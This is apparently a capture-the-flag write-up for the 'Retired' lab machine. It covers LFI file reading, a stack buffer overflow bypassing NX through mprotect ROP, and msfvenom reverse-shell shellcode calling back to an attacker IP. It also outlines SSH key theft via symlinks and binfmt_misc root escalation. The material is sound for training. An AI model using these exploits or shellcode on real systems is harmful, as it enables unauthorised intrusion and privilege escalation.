Retired

Summary

Nmap finds SSH and an Nginx server. The website has a page GET parameter, which we fuzz and find a beta page as well as an LFI exploit. The beta page upload a file to activate_license.php, which we leak the source code of using the LFI exploit. activate_license.php will send the uploaded file to a service running on port 1337. Since we can access files on the system, we read /proc/sched_debug and see that /usr/bin/activate_license is the program on port 1337. We download it so we can reverse engineer it.

Decompiling activate_license with Ghidra reveals a buffer overflow exploit with the data we can upload to it. We use gdb with the peda extension to debug the program and send a pattern using pwntools to determine the offset based on the overwritten registers. The binary has the non-executable stack protection enabled, but we can use sys_mprotect to turn off this protection using an approach similar to this guide. mprotect() changes the access protections for the calling process's memory pages. We need to tell mprotect() the start of the stack, the length of the stack, and the protection mode (RWE) to apply to that area of memory. This will make the entire stack executable. To get these addresses, we use the /proc/$PID/maps filesystem through the LFI exploit. Finally, we use msfvenom to generate some basic shellcode. Our final exploit is in exploit.py.

Running the exploit.py will get us a shell as www-data. In the /var/www directory we notice some ZIP files being generated every minute. From LinPEAS, we learn that there is a system timer that runs website_backup.service every minute, which runs as the dev user and it creates a ZIP file from /var/www/html. So, we create a symbolic link to dev's SSH private key inside of /var/www/html. Then, we unzip the created ZIP file and SSH as dev using the private key. This gets us the user.txt flag.

The privilege escalation part of this box is pretty unique. In the /home/dev/emuemu/ directory we find a reg_helper binary and its source code. This binary takes input and writes it to /proc/sys/fs/binfmt_misc/register. That file can only be written to by root, but from the Makefile we see that the binary at /usr/lib/emuemu/reg_helper has the cap_dac_override capability, so it bypasses all file write checks. The vulnerability we are going to exploit is pretty cool and these resources are amazing at explaining it: What is SUID? Shadow SUID for Privilege Persistence: Part 1 and SUID Linux: Shadow SUID for Privilege Persistence: Part 2.

From those articles (above): When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt_elf handler is used to load the binary into the elf interpreter."

We can use toffan/binfmt_misc to exploit the ability to write to /proc/sys/fs/binfmt_misc/register. The script will register a new interpreter with binfmt_misc linked to the magic bytes of a random SUID binary. That new interpreter will run /bin/sh. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with binfmt_misc and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.

After a few modifications to the exploit, we run it and get the root.txt flag.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.154 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.154.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_  256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website (Port 80)

Let's check out the website since that's the only thing we have to work with (other than SSH):

The URL is http://10.10.11.154/index.php?page=default.html, so we have a page parameter to play with.

We check for a local file inclusion (LFI) exploit on the page parameter by running ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://10.10.11.154/index.php\?page\=FUZZ -fs 0:

etc/fstab              [Status: 302, Size: 327, Words: 13, Lines: 9, Duration: 30ms]
/etc/passwd             [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 31ms]
/etc/hosts.deny         [Status: 302, Size: 711, Words: 128, Lines: 18, Duration: 32ms]
/etc/crontab            [Status: 302, Size: 1042, Words: 181, Lines: 23, Duration: 33ms]
/etc/issue              [Status: 302, Size: 27, Words: 5, Lines: 3, Duration: 34ms]
/etc/hosts.allow        [Status: 302, Size: 411, Words: 82, Lines: 11, Duration: 36ms]
/etc/hosts              [Status: 302, Size: 154, Words: 5, Lines: 8, Duration: 36ms]
/etc/motd               [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/motd               [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/mtab               [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 28ms]
/etc/passwd             [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 27ms]
/etc/network/interfaces [Status: 302, Size: 337, Words: 32, Lines: 15, Duration: 29ms]
/etc/networks           [Status: 302, Size: 60, Words: 1, Lines: 5, Duration: 30ms]
/etc/profile            [Status: 302, Size: 769, Words: 157, Lines: 35, Duration: 31ms]
/etc/resolv.conf        [Status: 302, Size: 38, Words: 3, Lines: 3, Duration: 31ms]
/etc/ssh/sshd_config    [Status: 302, Size: 3338, Words: 300, Lines: 128, Duration: 30ms]
/etc/ssh/ssh_config     [Status: 302, Size: 1650, Words: 249, Lines: 54, Duration: 32ms]
/proc/filesystems       [Status: 302, Size: 347, Words: 1, Lines: 29, Duration: 28ms]
/proc/cpuinfo           [Status: 302, Size: 2320, Words: 283, Lines: 55, Duration: 30ms]
/proc/modules           [Status: 302, Size: 3109, Words: 301, Lines: 61, Duration: 30ms]
/proc/stat              [Status: 302, Size: 1194, Words: 489, Lines: 11, Duration: 29ms]
/proc/swaps             [Status: 302, Size: 104, Words: 32, Lines: 3, Duration: 29ms]
/proc/mounts            [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 30ms]
/proc/ioports           [Status: 302, Size: 1537, Words: 313, Lines: 59, Duration: 30ms]
/proc/interrupts        [Status: 302, Size: 4180, Words: 1938, Lines: 68, Duration: 30ms]
/proc/meminfo           [Status: 302, Size: 1419, Words: 493, Lines: 52, Duration: 31ms]
/proc/version           [Status: 302, Size: 184, Words: 21, Lines: 2, Duration: 31ms]
/proc/self/net/arp      [Status: 302, Size: 156, Words: 78, Lines: 3, Duration: 32ms]
/var/run/utmp           [Status: 302, Size: 1536, Words: 1, Lines: 3, Duration: 29ms]
/var/log/wtmp           [Status: 302, Size: 12288, Words: 2, Lines: 11, Duration: 31ms]
/var/log/lastlog        [Status: 302, Size: 292584, Words: 1, Lines: 2, Duration: 29ms]
:: Progress: [257/257] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

So, we can read files on the system.

Let's scan for other directories by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/FUZZ:

                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
assets                  [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 33ms]
css                     [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 26ms]
js                      [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 29ms]
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1482 req/sec :: Duration: [0:01:02] :: Errors: 0 ::

Nothing unusual here.

We can fuzz for different pages using ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/index.php\?page\=FUZZ.html -fs 0:

default                 [Status: 200, Size: 11414, Words: 4081, Lines: 189, Duration: 36ms]
beta                    [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 25ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1399 req/sec :: Duration: [0:01:17] :: Errors: 4 ::

Let's look at the beta page located at http://10.10.11.154/index.php?page=beta.html:

From the source code we see that the form action is activate_license.php. With the LFI exploit we can get the source of this file by running curl http://10.10.11.154/index.php\?page\=activate_license.php:

<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
?>

This script will open a connection with a service running on port 1337 locally on the box. Then, it will send our uploaded file to that service. So, we need to get information about that service.

Searching online for "lfi find running processes" finds this article, which mentions this command:

$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.0.0.19/lfi.php?lang=/proc/FUZZ/cmdline -fw 1

We modify it slightly to create this:

$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.10.11.154/index.php\?page\=/proc/FUZZ/cmdline -fs 0

406                     [Status: 302, Size: 31, Words: 1, Lines: 1, Duration: 26ms]
582                     [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
583                     [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
:: Progress: [5000/5000] :: Job [1/1] :: 1434 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

So, in the first 5000 PIDs we have 406, 582, and 583. We can now run curl http://10.10.11.154/index.php\?page\=/proc/406/cmdline --output - and see that the program was launched with the command /usr/bin/activate_license 1337.

Another approach would have been to look at the contents of the /proc/sched_debug file, since that also shows information about running processes.

Let's run curl http://10.10.11.154/index.php\?page\=/usr/bin/activate_license --output activate_license to download that binary: activate_license.

Foothold

Running file activate_license shows the following:

activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped

We can see the binary security settings with checksec from pwntools:

$ checksec activate_license
[*] 'activate_license'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We decompile the binary using Ghidra. Here is the decompiled activate_license function:

void activate_license(int sockfd)

{
  int iVar1;
  ssize_t sVar2;
  int *piVar3;
  char *pcVar4;
  sqlite3_stmt *stmt;
  sqlite3 *db;
  uint32_t msglen;
  char buffer [512];
  
  sVar2 = read(sockfd,&msglen,4);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  msglen = ntohl(msglen);
  printf("[+] reading %d bytes\n",(ulong)msglen);
  sVar2 = read(sockfd,buffer,(ulong)msglen);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = sqlite3_open("license.sqlite",&db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  sqlite3_busy_timeout(db,2000);
  iVar1 = sqlite3_exec(db,
                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"
                       ,0,0,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_step(stmt);
  if (iVar1 != 0x65) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_reset(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_finalize(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_close(db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  printf("[+] activated license: %s\n",buffer);
  return;
}

There is a buffer overflow in this function. The buffer is set to 512 bytes, but then the line sVar2 = read(sockfd,buffer,(ulong)msglen); will read msglen bytes from the socket into the buffer. So, if we upload a license to the program that is larger than 512 bytes, we should be writing onto the stack. For a normal buffer overflow, we would be able to add some shell code, create a NOP sled, and then overwrite the return address with the address of our shell code. The problem is that we have "NX enabled" according to checksec. NX stands for "no execution," so even if we were to return to shell code, it would not be executed.

Additionally, RELRO is set to full: "Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run" (source). Therefore, we cannot perform an attack similar to the one from PicoCTF 2019's GoT. Finally, PIE is enabled: "PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are" (source).

We are going to use GDB to get the offset for this buffer overflow attack. There are many projects that exist to fill in the gaps in the GDB debugger: pwndbg, peda, GEF. For some reason, when using normal GDB or GEF, GDB doesn't pick up the SIGSEGV, Segmentation fault when we send our input. Thus, we cannot read the RSP. However, when I used peda, it worked! So, use peda. This issue probably happens because the program forks when it receives a request. According to this StackOverflow answer, we can run set follow-fork-mode child, but this doesn't work (unless peda is used of course).

To exploit this buffer overflow vulnerability, we need to get the offset, which cannot be easily automated like usual since the program receives input via a port. Launch GDB-PEDA with gdb --args ./activate_license 1338 and run it with run. Then, run the below script, which uses pwntools to connect to the program and send a pattern that can be used to determine the offset (this can also be done with pattern_create 700 in GDB-PEDA, but then the request needs to be sent manually):

from pwn import *

io = remote('127.0.0.1', 1338)

payload_size = 700
size_value = p32(payload_size, endian='big')  # 32 bit big endian

payload = [size_value, cyclic(payload_size)]
payload = b"".join(payload)

io.send(payload)

Upon running the above script, GDB-PEDA should produce the following:

[+] accepted client connection from 127.0.0.1:53989
[Attaching after Thread 0x7ffff7b0a480 (LWP 72309) fork to child process 72392]
[New inferior 2 (process 72392)]
[Detaching after fork from parent process 72309]
[Inferior 1 (process 72309) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 700 bytes
[+] activated license: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag

Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7b0a480 (LWP 72392)]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x2d4
RBX: 0x5555555557c0 (<__libc_csu_init>: push   r15)
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffb430 --> 0x7ffff7cc9d90 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6661616566616164 ('daafeaaf')
RSP: 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
RIP: 0x5555555555c0 (<activate_license+643>:    ret)
R8 : 0x0
R9 : 0x7ffff7e030c0 --> 0x0
R10: 0x7ffff7e02fc0 --> 0x0
R11: 0x246
R12: 0x555555555220 (<_start>:  xor    ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555555b9 <activate_license+636>:       call   0x5555555550b0 <printf@plt>
   0x5555555555be <activate_license+641>:       nop
   0x5555555555bf <activate_license+642>:       leave
=> 0x5555555555c0 <activate_license+643>:       ret
   0x5555555555c1 <main>:       push   rbp
   0x5555555555c2 <main+1>:     mov    rbp,rsp
   0x5555555555c5 <main+4>:     sub    rsp,0x60
   0x5555555555c9 <main+8>:     mov    DWORD PTR [rbp-0x54],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0008| 0x7fffffffbbd0 ("haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0016| 0x7fffffffbbd8 ("jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0024| 0x7fffffffbbe0 ("laafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0032| 0x7fffffffbbe8 ("naafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0040| 0x7fffffffbbf0 ("paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0048| 0x7fffffffbbf8 ("raafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0056| 0x7fffffffbc00 ("taafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555555c0 in activate_license (sockfd=0x4) at activate_license.c:64
64      activate_license.c: No such file or directory.

Now, run x/wx $rsp to get the RSP, which we overwrote: 0x7fffffffbbc8: 0x66616166. The value can also be viewed in the output above: faaf. Finally, run python -c 'from pwn import *; print(cyclic_find(unhex("66616166")[::-1]))' to find the offset of those 4 bytes in the pattern. We get an offset of 520.

Now for the actual exploit. We are going to use sys_mprotect to turn off the NX protection using an approach similar to this guide. Other resources: ROP Exploit – MProtect() and Shellcode and ARM Exploitation — Defeating NX By Invoking mprotect() Using ROP.

From the linx man pages, we know that "mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1]." The function has this syntax: int mprotect(void *addr, size_t len, int prot);. We will set the addr to the beginning of the stack, len to the size of the stack, and prot to 0x7, which stands for RWX. This will make the entire stack executable.

The calling convention for ELF 64 is the following:

  • Arguments in RDI, RSI, RDX, RCX, R8, R9

  • Return Value in RAX

So we need to put the stack address in the RDI register, the length in the RSI register and the value 0x7 in the RDX register. The aforementioned guide uses ROPgadget to do this, which is a great tool, but we we can do it automatically with pwntools.

The issue is we don't have those values. Additionally, the machine probably has ASLR enabled, which makes them randomize each time the program is started. However, due to the LFI exploit, we can read /proc/$PID/maps. "Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread" (source). You can learn more from the linux kernel documentation and this post.

We can get the maps for process 406, the activate_license process, like so:

curl http://10.10.11.154/index.php\?page\=/proc/406/maps
55e0aa5a0000-55e0aa5a1000 r--p 00000000 08:01 2408                       /usr/bin/activate_license
55e0aa5a1000-55e0aa5a2000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license
55e0aa5a2000-55e0aa5a3000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55e0aa5a3000-55e0aa5a4000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55e0aa5a4000-55e0aa5a5000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license
55e0ab5ba000-55e0ab5db000 rw-p 00000000 00:00 0                          [heap]
7f91a2a27000-7f91a2a29000 rw-p 00000000 00:00 0 
7f91a2a29000-7f91a2a2a000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2a000-7f91a2a2c000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2c000-7f91a2a2d000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2d000-7f91a2a2e000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2e000-7f91a2a2f000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2f000-7f91a2a36000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a36000-7f91a2a46000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a46000-7f91a2a4b000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4b000-7f91a2a4c000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4c000-7f91a2a4d000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4d000-7f91a2a51000 rw-p 00000000 00:00 0 
7f91a2a51000-7f91a2a60000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2a60000-7f91a2afa000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2afa000-7f91a2b93000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b93000-7f91a2b94000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b94000-7f91a2b95000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b95000-7f91a2bba000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2bba000-7f91a2d05000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d05000-7f91a2d4f000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d4f000-7f91a2d50000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d50000-7f91a2d53000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d53000-7f91a2d56000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d56000-7f91a2d5a000 rw-p 00000000 00:00 0 
7f91a2d5a000-7f91a2d6a000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2d6a000-7f91a2e62000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e62000-7f91a2e96000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e96000-7f91a2e9a000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9a000-7f91a2e9d000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9d000-7f91a2e9f000 rw-p 00000000 00:00 0 
7f91a2ea4000-7f91a2ea5000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ea5000-7f91a2ec5000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ec5000-7f91a2ecd000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ece000-7f91a2ecf000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ecf000-7f91a2ed0000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ed0000-7f91a2ed1000 rw-p 00000000 00:00 0 
7ffd35848000-7ffd35869000 rw-p 00000000 00:00 0                          [stack]
7ffd358d3000-7ffd358d7000 r--p 00000000 00:00 0                          [vvar]
7ffd358d7000-7ffd358d9000 r-xp 00000000 00:00 0                          [vdso]

So, from the above output we know that the libc base is at 7f91a2b95000, the libsqlite3 base is at 7F91A2D5A000, the stack start is at 7ffd35848000, and the stack end is at 7ffd35869000.

We can write a python function to get these values programatically:

def get_addresses(pid):
    r = requests.get(
        f"http://10.10.11.154/index.php?page=/proc/{pid}/maps", allow_redirects=False
    )
    libc_line = re.search("^.*libc.*$", r.text, re.M).group(0)
    libc_base = int(libc_line.split("-")[0], 16)
    libc_path = libc_line.split(" ")[-1]

    libsqlite_line = re.search("^.*libsqlite.*$", r.text, re.M).group(0)
    libsqlite_base = int(libsqlite_line.split("-")[0], 16)
    libsqlite_path = libsqlite_line.split(" ")[-1]

    stack_line = re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")
    stack_base = int(stack_line[0], 16)
    stack_end = int(stack_line[1].split()[0], 16)

    return libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end

The re.M flag makes ^ and $ "match at the start or end of any line within the input string instead of the start or end of the entire string" (source). We also get the path for libc and libsqlite so we can use them with pwntools automatic gadget finder.

Alright, we have the offset, the library bases, the library paths, and the exploit arguments. Now all we need is some shell code. We can execute msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.116 LPORT=55455 -f py to get some shellcode from Metasploit that will spawn a reverse shell:

buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\xd8\x9f\x0a\x0a\x0e\x74\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

Finally, we write exploit.py to encapsulate all these ideas and actually perform the attack. Run a listener with pwncat by running pwncat-cs -lp 55455 (or use netcat with nc -nvlp 55455). This gives us a shell as the www-data user.

Lateral Movement

We start in /var/www, which has a few strange dated ZIP files that vary by 1 minute in creation date:

(remote) www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx  3 www-data www-data   4096 Aug  5 05:10 .
drwxr-xr-x 12 root     root       4096 Mar 11 14:36 ..
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:08 2022-08-05_05-08-01-html.zip
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:09 2022-08-05_05-09-05-html.zip
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:10 2022-08-05_05-10-05-html.zip
drwxrwsrwx  5 www-data www-data   4096 Mar 11 14:36 html
-rw-r--r--  1 www-data www-data  12288 Aug  5 05:07 license.sqlite

Running ls again shows new files, so it looks like they get recreated every minute. Let's run pspy to see what is happening. You can upload this tool easily with pwncat's built-in upload command. This doesn't reveal anything.

We run LinPEAS and look for anything that runs each minute. We see this output:

╔══════════╣ System timers
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers
NEXT                        LEFT           LAST                        PASSED               UNIT                         ACTIVATES
Fri 2022-08-05 05:21:00 UTC 33s left       Fri 2022-08-05 05:20:01 UTC 24s ago              website_backup.timer         website_backup.service

We run find / -name website_backup.service 2>/dev/null to find the file at /etc/systemd/system/website_backup.service. Looking at the file, we see that it runs /usr/bin/webbackup:

